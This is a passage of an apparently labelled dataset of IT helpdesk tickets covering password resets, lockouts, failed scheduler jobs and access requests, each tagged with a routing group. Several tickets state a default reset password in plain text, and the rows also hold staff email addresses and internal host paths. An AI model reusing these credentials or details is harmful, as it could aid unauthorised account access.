78.39.157.64, location: , united states +den157gic064 - 78.39.157.64, location: , united states +additional information +trghwyng route to lpapr952 [10.34.160.12] +over a maximum of 30 hops: + +sartlgeo lhqksbdx ms <1 ms <1 ms 21.97.98.46829 +2 <1 ms <1 ms <1 ms 21.97.98.468 +3 4 ms 9 ms 3 ms 10.20.2.70 +4 158 ms 157 ms 157 ms 10.42.1.82 +5 168 ms 168 ms 168 ms 10.42.1.81 +6 169 ms 168 ms * 79.67.01.659 +7 * * * request timed out. +8 * * * request timed out. +9 * * * request timed out. +10 * * * request timed out. + + +if you have any questions regarding this notification please contact our support team at the number listed below. + +sincerely, +interactive intelligence cthaasnoc team +interactive intelligence blast notification + +this mailbox is not monitored.please call support at the phone number in this communication for any questions you may have. +",GRP_8 +"not able to access business_client _x000D_ +_x000D_ +received from: ntuhoafg.bzwefjvk@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +i am not able to access business_client, please help._x000D_ +_x000D_ +_x000D_ +",GRP_0 +"system bankrd temperature alerts in monitoring_tool for south_amerirtca south_amerirtca servers HostName_1238 & HostName_1237 system bankrd inlet temp alert for HostName_1237_x000D_ +system bankrd ambient temp alert for lpas060._x000D_ +_x000D_ +attached is the screen shot of windows event viewer logs",GRP_12 +"erp SID_34 password sign on is cabane please reset to daypay3 thank you name:fyzceglp vfnraqxc +language: +browser:microsoft internet explorer +email:fyzceglp.vfnraqxc@gmail.com +customer number: +telephone: +summary:i have another user that can't remember his erp SID_34 password sign on is cabane please reset to daypay3 ",GRP_0 +":user pluytd54 ( erthryika plaunyud ) locked herself out of erp SID_34 - can you please reset her password to daypay3? thank you name:fyzceglp vfnraqxc +language: +browser:microsoft internet explorer +email:fyzceglp.vfnraqxc@gmail.com +customer number: +telephone: +summary:user pluytd54 ( erthryika plaunyud ) locked herself out of erp SID_34 - can you please reset her password to daypay3? ",GRP_0 +reset passwords for pxvjczdt kizsjfpq using password_management_tool password reset. the,GRP_17 +unable to access emails on outlook unable to access emails on outlook ,GRP_0 +"erp did not pull the customer part number from the ztax item for the taps item hello it-team,_x000D_ +_x000D_ +please help to check the following issue – erp did not pull the customer part number from the ztax item for the taps item – although it was shown on the delivery note (please see attached) we were not able to print the label for item 22:_x000D_ +_x000D_ +",GRP_13 +not able to login to collaboration_platform not able to login to collaboration_platform,GRP_0 +ticket update on ticket_no0448767 ticket update on ticket_no0448767,GRP_0 +"action could not be performed henvrkuo nogrfadw is getting the following error message when trying to access purchasing:_x000D_ +""no data found for employee '1111102236'; inform system administration.""_x000D_ +_x000D_ +please sync her hr org details to purchasing. ",GRP_29 +"i would like to be able to use the camera on my skype for business calls. can you add this to my options? if this option is currently available, please let me know. ",GRP_0 +no audio on ethics page no audio on ethics page,GRP_0 +intermittent audio issue on computer intermittent audio issue on computer ,GRP_0 +"outlook query +summary:when logging in remotely, i am unable to access my outlook. i understand there is a setting i need to change to fix the issue. please help! ",GRP_0 +inc1559962 - ticket update inc1559962 - ticket update,GRP_0 +"hpqc uacyltoe hxgaycze client login error _x000D_ +_x000D_ +received from: nuhfwplj.ojcwxser@gmail.com_x000D_ +_x000D_ +when i try to login, the following message is received. please advise._x000D_ +_x000D_ +[cid:image001.png@01d2287e.88fe6750]_x000D_ +_x000D_ +_x000D_ +",GRP_0 +ticket query on ticket_no1559208 ticket query on ticket_no1559208 ,GRP_0 +"skype _x000D_ +_x000D_ +received from: nuhfwplj.ojcwxser@gmail.com_x000D_ +_x000D_ +i am unable to log into skype. please advise._x000D_ +_x000D_ +[cid:image001.png@01d2287a.e58a4150]_x000D_ +_x000D_ +_x000D_ +",GRP_0 +monitor on x-ray instrument pc will not stay turned on. monitor on x-ray instrument pc will not stay turned on.,GRP_3 +"sever hqap101 has a hd failure light sever hqap101 has a hd failure light, kindly create a ticket with the vendor.",GRP_26 +interaction id : 1064857564 static sound from telephony_software phones : id : 2175968675 ,GRP_0 +"plant_269 xerox workcentre 5335 - rr18 printer _x000D_ +_x000D_ +received from: dpuifqeo.eglwsfkn@gmail.com_x000D_ +_x000D_ +please advise the user login associated with this machine – need to update the address book_x000D_ +_x000D_ +_x000D_ +_x000D_ +",GRP_3 +"need installation of msoffice 2010 need installation of msoffice 2010._x000D_ +_x000D_ +user is a new joiner and she's unable to access msoffice 2013 as because she's having e1 license.",GRP_3 +\\HostName_768\teams\rta full control access for rjodlbcf uorcpftk \\HostName_768\teams\rta full control access for rjodlbcf uorcpftk,GRP_34 +"password reset rqeuest for SID_34 erp for fduinmtw yofhirjs (hixsodl) +summary:i need to have a user id reset for SID_34 erp for fduinmtw yofhirjs (hixsodl) +please e-mail her once you have reset the password.",GRP_0 +"unlock password + +received from: bihfazru.bhjqvtzm@gmail.com + +hello, i have 2 employees that has access to scan out production orders on saturday oct. 15, 2016 but do not have access today. could you check into this problem and let me know what to do? hydluapo qbgclmit 6593679 and eulsvchi rqflkeuc 6676678. they have tried to unlock everything in password_management_tool but no luck. + +cthryhris kovaddcth +production supervisor +bihfazru.bhjqvtzm@gmail.com + +[cid:image003.jpg@01cfcb3e.29ec32f0] + +",GRP_0 +"frequent lock out issue. _x000D_ +_x000D_ +received from: ksxjcvze.ognyetrp@gmail.com_x000D_ +_x000D_ +hello_x000D_ +_x000D_ +i can't go into vpn,_x000D_ +password should be not right.???!!!_x000D_ +_x000D_ +please can you reset my password. also for vpn_x000D_ +_x000D_ +many ",GRP_0 +"the engineering tool is not installed properly there are two different engineering tools installed on the 2-in1 tablet and neither of them work properly. when i click on a link it goes into a web based search, also when i click on the engineering tool icon it show an error ""cannnot continue the application is improperly formatheywted). the other error that i get below is an example of the web based search when entering a new engineering_tool:_x000D_ +sorry, the page you were looking for does not exist or is not available. we performed a web search for ""http engineering data report server pages report viewer aspx report viewer pages report server"" and here's what we found. ",GRP_0 +"job Job_2668 failed in job_scheduler at: 10/17/2016 12:06:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2668 failed in job_scheduler at: 10/17/2016 12:06:00",GRP_8 +"help with programdnty nx9 hi , + +we need your help with programdnty nx9. when the users tiaghry santhuy and pvimkcfw sarxkfvj click in gkad the nx close. + +can we do make something to solve this problem? + +",GRP_46 +crm add in will not come up crm add in will not come up,GRP_0 +analysis not working to run my quote reports. it is not showing in my tool bar. when i try to open through erp business analysis it gives error. the launcher is exited with error. analysis add in is not registered correctly.,GRP_9 +"password reset request for erp + +received from: irqpwgtn.dpautgeh@gmail.com + +dear sir, + +please reset password as it is failed to logon. as i had changed the password_management_tool password due to expiry which results in this problem. + +user name: schyhty +emp id: 2027646758 + +[cid:image001.jpg@01d228b9.e1e4e160] + +with best ",GRP_0 +flash player update issue flash player update issue,GRP_0 +"folder access rqeuest : ldgm003 i:\lean contact : +need read/write access to folder ldgm003 i:\lean +network path : \\HostName_835\public\lean : read and write access ",GRP_12 +erp prtgghj4k password reset erp prtgghj4k password reset,GRP_2 +needs to change password needs to change password ,GRP_0 +windows account unlock windows account unlock,GRP_0 +"forward bcxfhekz bplfrnis's emails to zneyrlhg bfiwanze bcxfhekz bplfrnis (2118145) exited the company and we need to forward bcxfhekz bplfrnis's emails to zneyrlhg bfiwanze effective immediately._x000D_ +",GRP_26 +"cothyshy has access to the above link. she can edit. but whenever she saves it she does not receive the email confirmation telephone: +summary:i have completed a nda for alarm systems but am not receiving the emailed response with link to the form. + + +cothyshy has access to the above link. she can edit. but whenever she saves it she does not receive the email confirmation/ copy. +",GRP_16 +"job Job_2668 failed in job_scheduler at: 10/17/2016 10:06:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2668 failed in job_scheduler at: 10/17/2016 10:06:00",GRP_29 +icloud account is synched with outlook. need to delete it. icloud account is synched with outlook. need to delete it.,GRP_0 +erp SID_34 account locked out. erp SID_34 account locked out.,GRP_0 +"erp SID_34 password change name:bettymcdanghtnuell +language: +browser:microsoft internet explorer +email:mcdythanbm@company.com +customer number: +telephone: +summary:iam locked out of erp tried to change password and got locked out",GRP_0 +"new employee phone number needed +summary:new employee phone number needed +",GRP_3 +"cannot connect pvn _x000D_ +_x000D_ +received from: aqrhwjgo.cyelqkvs@gmail.com_x000D_ +_x000D_ +dear it team,_x000D_ +_x000D_ +i cannot connect below link. it is long download it and as below screen. please help._x000D_ +_x000D_ +users can access vpn (_x000D_ +_x000D_ +[cid:image001.png@01d228b7.02ba5da0]_x000D_ +_x000D_ +best ",GRP_50 +"server HostName_858 automatically cancelled backup received the following email for the last two backups: the job was automatically canceled because it exceeded the job's maximum configured run time. backup server is HostName_858._x000D_ +_x000D_ +stefyty dabhruji is currently assisting.",GRP_12 +mobile device activation. mobile device activation.,GRP_0 +"i cannot access the planner app in owa name:giuliasana byhdderni +language: +browser:microsoft internet explorer +email:ajnpuqym.gvoncems@gmail.com +customer number: +telephone: +summary:i cannot access the planner app in owa",GRP_0 +password expired // unable to change the password password expired // unable to change the password,GRP_0 +"password reset through password_management_tool password manager/collaboration_platform issue +summary:i am having difficulty changing my password for usa company through the password_management_tool id system. please assist. ",GRP_0 +"unable to access collaboration_platform _x000D_ +_x000D_ +received from: mfizgpoy.akbvznci@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +i would like to gain access to this link: _x000D_ +_x000D_ +i am trying to complete an lagp request for one of my customers. this is the error i'm receiving._x000D_ +[cid:image001.png@01d22855.aac9f8a0]_x000D_ +_x000D_ +",GRP_16 +ticket update - inplant_870028 ticket update - inplant_870028,GRP_0 +"branding site + +received from: jefguyza.mkhwcnes@gmail.com + +hello, i can not open our branding site, i receive following error message in internet explorer: + +make sure the web address +(i am on vpn) + syhtu pozdrsavom / mit freundlichem gruss / best ",GRP_16 +"getting an error when trying to access the precall planning reports and cmor see attached keinyujo torvxeda can not access the pre call planning section of the account record. he gets an error that is the same as the one he gets for his reporting_engineering_tool on the crm dashbankrd. it fixed once, but when i opened crm again, same issue happened",GRP_0 +"costing issue for material 6526474 in plant_316 plant _x000D_ +_x000D_ +received from: aytjedki.rucfxpla@gmail.com_x000D_ +_x000D_ +hi can some help me with a costing issue?_x000D_ +_x000D_ +mm6526474 this is a part that is made at plant_327 and was extended to plant_316. as you can see the cost at plant_316 is at 21.83 and 12.39 usd. i think that the 21.83 is incorrect._x000D_ +when i try to cost this part it is coming in at the 21.83 on the ppc1 and 12.38 on the gpc1 with an warning message of mat. 6526474 in plant plant_316: itemization does not match cost component split_x000D_ +i am not sure as to what i need to do to correct this. can you help?_x000D_ +_x000D_ +plant_327 cost is at 16.12 cad_x000D_ +_x000D_ +_x000D_ +[cid:image004.png@01d2284d.2ff23140]_x000D_ +_x000D_ +_x000D_ +_x000D_ +[cid:image002.png@01d2284c.febc1410]_x000D_ +_x000D_ +_x000D_ +_x000D_ +best ",GRP_44 +erp SID_34 locked. erp SID_34 locked.,GRP_0 +"dedalus report on pdf blocked. +summary:cannot open downloaded dedalus report on pdf. this was reported on several collegues when downloading and opening this particular report.",GRP_0 +"push-out reports _x000D_ +_x000D_ +received from: ctzykflo.evzbhgru@gmail.com_x000D_ +_x000D_ +dear all,_x000D_ +_x000D_ +i just got the information that since last wednesday rkyjnbqh kfshormi – a sales engineer – didn't receive any push-out reports like_x000D_ +the open quote report etc._x000D_ +_x000D_ +can someone please check and let us know what happens._x000D_ +_x000D_ +",GRP_9 +"urgent : local server down HostName_1326 error : windows cannot access \\HostName_1326"" +red cross on the drives in the server. +user has access to server. it has worked before. +contact : +it has impacted our quoting team, design team, and manufacturing (usa plant)",GRP_12 +unable to open business_client // install .net framdntyework 4.5 unable to open business_client // install .net framdntyework 4.5,GRP_0 +network drive not loading network drive not loading,GRP_12 +"weekly sales activity reports + +received from: mnlvhtug.imvetgoa@gmail.com + +i didn't receive any sales activity order reports from publications@company.com for this past week… + +mnlvhtug imvetgoa +sr. application engineer +general engineering +company inc. +mnlvhtug.imvetgoa@gmail.com +[cid:image001.png@01d15842.000812f0] + + + + + + +",GRP_0 +"skype _x000D_ +_x000D_ +received from: btvmxdfc.yfahetsc@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +i'm facing some problems to join conference calls by skype._x000D_ +when i access i'm the only one in the call._x000D_ +_x000D_ +",GRP_27 +rechner für EU_tool stäbe hängt sich auf .\spdczoth vajtodny rechner für EU_tool stäbe hängt sich auf .\spdczoth vajtodny,GRP_24 +reset passwords for ldmwqubi sovqeynk using password_management_tool password reset. forgot password for erp login,GRP_17 +not able to open single sign on portal on hub not able to open single sign on portal on hub ,GRP_0 +rechner für infostand defekt \probleme mit lüfter \niptbwdq csenjruz rechner für infostand defekt \probleme mit lüfter \niptbwdq csenjruz,GRP_24 +"wir brauchen usb-stick (16gb) für 1.lehrjahr (4 stück). hallo , + +wir brauchen usb-stick (16gb) für 1.lehrjahr (4 stück). + +",GRP_24 +not able to submit lean tracker in collaboration_platform not able to submit lean tracker in collaboration_platform,GRP_0 +"outlook- skype problem _x000D_ +_x000D_ +received from: cspkeyza.bzpyfcki@gmail.com_x000D_ +_x000D_ +hello team ,_x000D_ +_x000D_ +i can not open outlook and skype in my pc, it gives an error like this_x000D_ +_x000D_ +_x000D_ +[cid:b711608e-db1e-449e-bb73-e6c73c32c540]_x000D_ +_x000D_ +_x000D_ +",GRP_0 +unable to get to password_management_tool to change the password unable to get to password_management_tool to change the password,GRP_0 +vpn is suddenly not accepting credentials. vpn is suddenly not accepting credentials.,GRP_0 +erp SID_34 account unlock erp SID_34 account unlock,GRP_0 +in pm_tool_for_sd i can not upload projects to erp . please see the attached jpg file that show the message from pm_tool_for_sd.,GRP_25 +account locked. account locked.,GRP_0 +"job Job_3028 failed in job_scheduler at: 10/17/2016 06:46:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3028 failed in job_scheduler at: 10/17/2016 06:46:00",GRP_12 +bobj webi publications services are not running. all the bobj webi publications have failed over the weekend. the services are still not working.,GRP_14 +"pending pr status & workflow details of approver + +received from: ilbkhgxd.hirsqytd@gmail.com + +help desk + +there are 2 pr which are pending more than 10 & 15 days which are yet to release by i1. please find the screen shot for both the pr's as below. + +[cid:image007.png@01d22886.3e109ad0][cid:image008.png@01d22886.3e109ad0] + +[cid:image009.png@01d22886.3e109ad0][cid:image010.png@01d22886.3e109ad0] + + + +but when it is checked in work flow of approver's (user id : jagtgarthy), nothing is pending. screen shot is attached for the same. +[cid:image001.jpg@01d22886.3e3b7b60] + +please verify the details for not appearing in the work flow of approver's. + +",GRP_29 +"job Job_1142 failed in job_scheduler at: 10/17/2016 06:06:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1142 failed in job_scheduler at: 10/17/2016 06:06:00",GRP_9 +"re: ticket_no1558511 -- comments added + +received from: stdiondwd.rawdwu@company.com + +hello dwight, + +any update on this? + + +",GRP_0 +HostName_1013 stibo server physical drive and power supply issue. HostName_1013 stibo server physical drive and power supply issue. ,GRP_8 +not able to open drtawings in pdf not able to open drtawings in pdf,GRP_0 +"bobj - not working _x000D_ +_x000D_ +received from: ctzykflo.evzbhgru@gmail.com_x000D_ +_x000D_ +dear all,_x000D_ +_x000D_ +all reports under bob information spaces like the product management report and quota report and others are missing._x000D_ +_x000D_ +you simply get an empty screen. other users report the same problem._x000D_ +_x000D_ +can you please fix the issue._x000D_ +_x000D_ +",GRP_0 +"volume: c:\ label:sys-amssm003 94ef9088 on server: is over 85% consumed volume: c:\ label:sys-amssm003 94ef9088 on server: is over _x000D_ +85% space consumed. space available: 2.1 g ",GRP_12 +"job Job_3181 failed in job_scheduler at: 10/17/2016 05:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3181 failed in job_scheduler at: 10/17/2016 05:00:00",GRP_10 +"loaner laptop germany location required + +received from: ubiqcrvy.mxjcnqfs@gmail.com + +hi it-team, + +i would please need two loaner laptops ( location: germany) from november 21th-22th november 2016 for visitors/consultant from bank who`s name are rtbkimey cfsqwtdv and xikojdym rgazclmi. the consultant will finish a huge update for our erp payment management and autobank tool. + +cost center: fuf02756 + +",GRP_28 +not able to see sny information spaces n bobj prod server not able to see sny information spaces n bobj prod server,GRP_14 +"reset the password for mdvlkbac uhefoqtg on erp / production / erp please unlock the account ( hanx123 ) and reset password for me , ",GRP_0 +"set up hand phone for email _x000D_ +_x000D_ +received from: ynsqjehx.kqgrsawl@gmail.com_x000D_ +_x000D_ +hi it team,_x000D_ +_x000D_ +i'd like to set up my hand set samsung i9305 for my company outlook emails._x000D_ +pls offer assistance._x000D_ +_x000D_ +best ",GRP_0 +im not able to login to SID_32 system.plese look into this on priority.my user id : venktyamk12 im not able to login to SID_32 system.plese look into this on priority.my user id is venktyamk12,GRP_2 +fe10 复印出来纸张文字不清晰 fe10 复印出来纸张文字不清晰,GRP_30 +probleme mit benutzer erneut nur temporär! \merdivan \xwirzvda okhyipgr probleme mit benutzer erneut nur temporär! \merdivan \xwirzvda okhyipgr,GRP_24 +anmeldefehler lync \qidgvtwa qvbutayx anmeldefehler lync \qidgvtwa qvbutayx,GRP_24 +dvi schnittstelle ohne funktion. dvi schnittstelle ohne funktion. vermutlich grafikkarte defekt. ,GRP_42 +EU_tool funktioniert nicht fehlermeldung: systemfehler &h91115116 (). unbekannter fehler,GRP_25 +"my engineering tool is not taking new password. it is showing number of failed attempts exceeded. name:syhunil krishnyhda +language: +browser:microsoft internet explorer +email:mpvasqwy.rotkyeja@gmail.com +customer number: +telephone: +summary:i changed my password from password_management_tool password. unlocked all accounts. my engineering tool is not taking new password. it is showing number of failed attempts exceeded.",GRP_0 +"bob j hello,_x000D_ +_x000D_ +bob-j geht wieder mal nicht._x000D_ +haben wir einen systemfehler?_x000D_ +_x000D_ +bob j goes back not even._x000D_ +do we have a system failure?_x000D_ + _x000D_ +_x000D_ +mit freundlichen grüßen_x000D_ +best ",GRP_0 +"unable to create delivery-35934304/item 70 please provide the following:_x000D_ +_x000D_ +what order number? 35934304_x000D_ +_x000D_ +what material or item number? 3114712_x000D_ +_x000D_ +what warehouse location? plant_283_x000D_ +_x000D_ +issue description / error message? cannot run d/n although plant_283 has 1 pcs stock ",GRP_6 +"更換密碼後, company connect可登入,但無法使用 更換密碼後, company connect可登入,但無法使用",GRP_0 +"job Job_1332 failed in job_scheduler at: 10/17/2016 02:26:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1332 failed in job_scheduler at: 10/17/2016 02:26:00",GRP_9 +"item on sales order not pulling through to picking slip _x000D_ +_x000D_ +received from: htnvbwxs.gwfrzuex@gmail.com_x000D_ +_x000D_ +good day._x000D_ +_x000D_ +please help with the following:_x000D_ +_x000D_ +we have an issue on the below sales order:_x000D_ +_x000D_ +[cid:image001.png@01d2284d.f0e9c250]_x000D_ +_x000D_ +the first line item is not pulling through to the picking slip:_x000D_ +_x000D_ +[cid:image002.png@01d2284d.f0e9c250]_x000D_ +_x000D_ +please assist._x000D_ +_x000D_ +",GRP_13 +r126 pc def. evtl. netzgerät r126 pc def. evtl. netzgerät ,GRP_33 +"keine datenübertragung erp datenbank zu tintenstrahldrucker imaje bitte sofort lokalen it support smpijawb eawkpgqf vor ort schicken um fehler zu analysieren +komplette auslieferung des werkes germany steht!!!!!!!",GRP_42 +"EU_tool performance is very low again as in the last weeks, the EU_tool performance is verly low in germany (plant_197).",GRP_25 +not able to submit lean tracker not able to submit lean tracker,GRP_0 +EU_tool und chargenverwaltung geht nicht. EU_tool und chargenverwaltung geht nicht.,GRP_25 +"file scanning problem in richoscan-wy14 from: yotyhga narthdyhy +sent: monday, october 17, 2016 10:51 am +to: nwfodmhc exurcwkm +subject: - fw: file scanning problem in richoscan-wy14 + +kindly request you to it, + +previous this folder is in m drive directly mtb-1st floor-richoscan-wy14 and now somebody have moved this to mtb-1st floor-richoscan-wy15. please correct this and now not able to scan the files to mtb-1st floor-richoscan-wy14. + +",GRP_12 +EU_tool ausfall in germany keine rückmeldungen und zuteillisten möglich,GRP_25 +serverprobleme qm-soft nicht anwendbar serverprobleme qm-soft nicht anwendbar,GRP_25 +"battery not charging when the power adapter is connected. battery not charging when the power adapoter is connected. +-when the power adaptor is unpliugged , the batter is not detected. +system: latitude e5440 +service tag: hvzlqthr12 | express service code: 38567939551238 +-installed the power system bios . +-restarted the pc and checked still the same issue. +-issue with the battery.needs replacement. +-contact : ",GRP_19 +"computer will not turn on. the computer 5lthyqzns1 service code 1276199035169 will not turn on at all. tried changing elengineering toolical plug and had no effect. the fan to the computer will not turn on either. +contact: gordon leach/xernsfqa uzvsnlbd number ",GRP_19 +reset passwords for cubdsrml znewqgop using password_management_tool password reset. the,GRP_17 +"error login on to the SID_34 system. error login on to the SID_34 system._x000D_ +-verified user details.(employee# & manager name)_x000D_ +-user has tried the password_management_tool pwd manager._x000D_ +-unlocked and reset the erp id to""daypay3""._x000D_ +-caller confirmed that he was able to login._x000D_ +-issue resolved.",GRP_0 +printer offline (see attachment) printer offline (see attachment),GRP_42 +"job hr_payroll_na_u6 failed in job_scheduler at: 10/17/2016 00:02:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job hr_payroll_na_u6 failed in job_scheduler at: 10/17/2016 00:02:00",GRP_8 +"job hr_payroll_na_u1 failed in job_scheduler at: 10/17/2016 00:02:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job hr_payroll_na_u1 failed in job_scheduler at: 10/17/2016 00:02:00",GRP_8 +"job hr_payroll_na_u2 failed in job_scheduler at: 10/17/2016 00:02:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job hr_payroll_na_u2 failed in job_scheduler at: 10/17/2016 00:02:00",GRP_8 +"login issue erp SID_34 login issue erp SID_34_x000D_ +-user getting ""logon balancing error - 88._x000D_ +-advised the user to check if he is on the company network._x000D_ +-advised the user to login and check._x000D_ +-caller confirmed that she was able to login._x000D_ +-issue resolved.",GRP_0 +"dn 9169508476,t/o 642392 _x000D_ +_x000D_ +received from: gjtyswkb.dpvaymxr@gmail.com_x000D_ +_x000D_ +dear it,_x000D_ +_x000D_ +we can not do z_chk for dn 9169508476,pls help to check it, it's urgent, ",GRP_6 +"cannot review stock at mdw04 // mm 6720004 _x000D_ +_x000D_ +received from: aqrhwjgo.cyelqkvs@gmail.com_x000D_ +_x000D_ +dear it team,_x000D_ +_x000D_ +i just complete gr for dn 9168073012_mm 6720004 but there is not stock available on md04. please advise because i would like to ship to customer 5 pcs today._x000D_ +_x000D_ +[cid:image001.png@01d22863.386174b0]_x000D_ +_x000D_ +best ",GRP_6 +"cannot review stock at mdw04 // mm 6720004 _x000D_ +_x000D_ +received from: aqrhwjgo.cyelqkvs@gmail.com_x000D_ +_x000D_ +dear it team,_x000D_ +_x000D_ +i just complete gr for dn 9168073012_mm 6720004 but there is not stock available on md04. please advise because i would like to ship to customer 5 pcs today._x000D_ +_x000D_ +[cid:image001.png@01d22863.386174b0]_x000D_ +_x000D_ +best ",GRP_0 +"access to network drive and printer + +received from: sxnzacoj.lwvqgfby@gmail.com + +please provide access to following to mr. akirtyethsyd (user id: vvsthryomaa) + + + +1. \\aswyuysm003\mtbelengineering toolical_production (read write) + +2. \\HostName_95\mtbu_ele (read only) + +3. printer wy14 + +",GRP_12 +"job hr_payroll_na_u2 failed in job_scheduler at: 10/16/2016 23:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job hr_payroll_na_u2 failed in job_scheduler at: 10/16/2016 23:00:00",GRP_10 +"job hr_payroll_na_u6 failed in job_scheduler at: 10/16/2016 23:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job hr_payroll_na_u6 failed in job_scheduler at: 10/16/2016 23:00:00",GRP_10 +"job hr_payroll_na_u1 failed in job_scheduler at: 10/16/2016 23:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job hr_payroll_na_u1 failed in job_scheduler at: 10/16/2016 23:00:00",GRP_10 +"转发: recall plant_247-101516-02 ref 6500073942 + +received from: wktesmbp.lorjymef@gmail.com + +dear team, +we got a stock recall notice from plant_247 plant,mm#2982278*200pcs need to be returned to plant_101. we just created sto#5019340040 for this request but only 80pc dn generated. pls. help to run out dn for the rest 120pc materials,thx! + +b.rgds +judthtihty.zhuyhts +company hardpoint apac-wgq dc + +",GRP_18 +"job Job_3050 failed in job_scheduler at: 10/16/2016 22:18:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3050 failed in job_scheduler at: 10/16/2016 22:18:00",GRP_8 +"ned on to vpn, but can not access hana or erp. name:pfzxecbo ptygkvzl +language: +browser:microsoft internet explorer +email:pfzxecbo.ptygkvzl@gmail.com +customer number: +telephone: +summary:signed on to vpn, but can not access hana or erp.",GRP_3 +"outlook not launching. outlook not launching. +-contact : +-connected to the user system using teamviewer +-user confirmed he does not use ms crm. +-tried to repair the ms office. +-restarted the pc. +-tried to reconfigure the outlook. taking some time. +-outlook ver - 2016 +-user mentioned that he will call us back tomorrow with the ticket nunber +-please help the user. +",GRP_0 +"erp been locked, please help to un-lock, and tell me the new password. please help to unlock erp, and tell me the new password",GRP_0 +"job Job_2114 failed in job_scheduler at: 10/16/2016 17:31:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2114 failed in job_scheduler at: 10/16/2016 17:31:00",GRP_9 +"bobj _x000D_ +_x000D_ +received from: vxzahrlc.frtkpehy@gmail.com_x000D_ +_x000D_ +it,_x000D_ +please image below. i have been trying to get into bobj all day and this is all that shows up._x000D_ +_x000D_ +[cid:image001.jpg@01d227c5.8a6dadd0]_x000D_ +_x000D_ +_x000D_ +",GRP_20 +"account unlock ic + welcome, our next available agent will be with you shortly... + interaction alerting agent. + website visitor has joined the conversation +jqxtbspr mpfdivlh + hello rakthyesh +rakthyesh + hi davidthd + ",GRP_0 +need to change password and sync new password on all accounts need to change password and sync new password on all accounts,GRP_0 +unable to sign in to skype unable to sign in to skype,GRP_0 +password reset for ess user nothrdaj12 password reset for ess user nothrdaj12,GRP_0 +circuit outage:company-na-usa-usa-plant-bld1-qa-carb-2960-01-access-sw01 switch is down since 7:14 am et on 10/16. circuit outage:company-na -usa-usa-plant-bld1-qa-carb-2960-01-access-sw01 switch is down since 7:14 am et on 10/16.,GRP_8 +"job Job_3343 failed in job_scheduler at: 10/16/2016 04:55:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3343 failed in job_scheduler at: 10/16/2016 04:55:00",GRP_8 +"application ""plm conversion server"" on node ""HostName_521"" is in a warning state in monitoring_tool warning: alwaysupservice.exe process count ",GRP_14 +"job Job_1140 failed in job_scheduler at: 10/16/2016 02:30:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1140 failed in job_scheduler at: 10/16/2016 02:30:00",GRP_9 +"job Job_3343 failed in job_scheduler at: 10/16/2016 01:01:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3343 failed in job_scheduler at: 10/16/2016 01:01:00",GRP_8 +"job pp_EU_tool_netch_ap1 failed in job_scheduler at: 10/16/2016 00:31:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job pp_EU_tool_netch_ap1 failed in job_scheduler at: 10/16/2016 00:31:00",GRP_8 +"job mm_zscr0099_wkly_rollfgyuej1 failed in job_scheduler at: 10/16/2016 00:20:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job mm_zscr0099_wkly_rollfgyuej1 failed in job_scheduler at: 10/16/2016 00:20:00",GRP_8 +"job Job_480 failed in job_scheduler at: 10/16/2016 00:02:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_480 failed in job_scheduler at: 10/16/2016 00:02:00",GRP_8 +"job snp_heu_6_regen failed in job_scheduler at: 10/16/2016 00:02:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job snp_heu_6_regen failed in job_scheduler at: 10/16/2016 00:02:00",GRP_8 +"job Job_1653 failed in job_scheduler at: 10/16/2016 00:02:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1653 failed in job_scheduler at: 10/16/2016 00:02:00",GRP_8 +"job snp_heu_5_regen failed in job_scheduler at: 10/16/2016 00:02:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job snp_heu_5_regen failed in job_scheduler at: 10/16/2016 00:02:00",GRP_8 +"job pp_EU_tool_netch_ap2 failed in job_scheduler at: 10/15/2016 23:49:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job pp_EU_tool_netch_ap2 failed in job_scheduler at: 10/15/2016 23:49:00",GRP_8 +"job Job_3050 failed in job_scheduler at: 10/15/2016 23:38:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3050 failed in job_scheduler at: 10/15/2016 23:38:00",GRP_8 +"job Job_3050 failed in job_scheduler at: 10/15/2016 23:37:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3050 failed in job_scheduler at: 10/15/2016 23:37:00",GRP_8 +"circuit outage:india :company-ap-ind-carrier-891-dmvpn-rtr02 is down since 10.15 pm et on 10/15. primary circuit is up. what type of outage: _____network xcircuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? __no_______ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ___10.15 pm et on 10/15___________________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ____no___ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? no_______ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ___yes___ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ____yes____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site 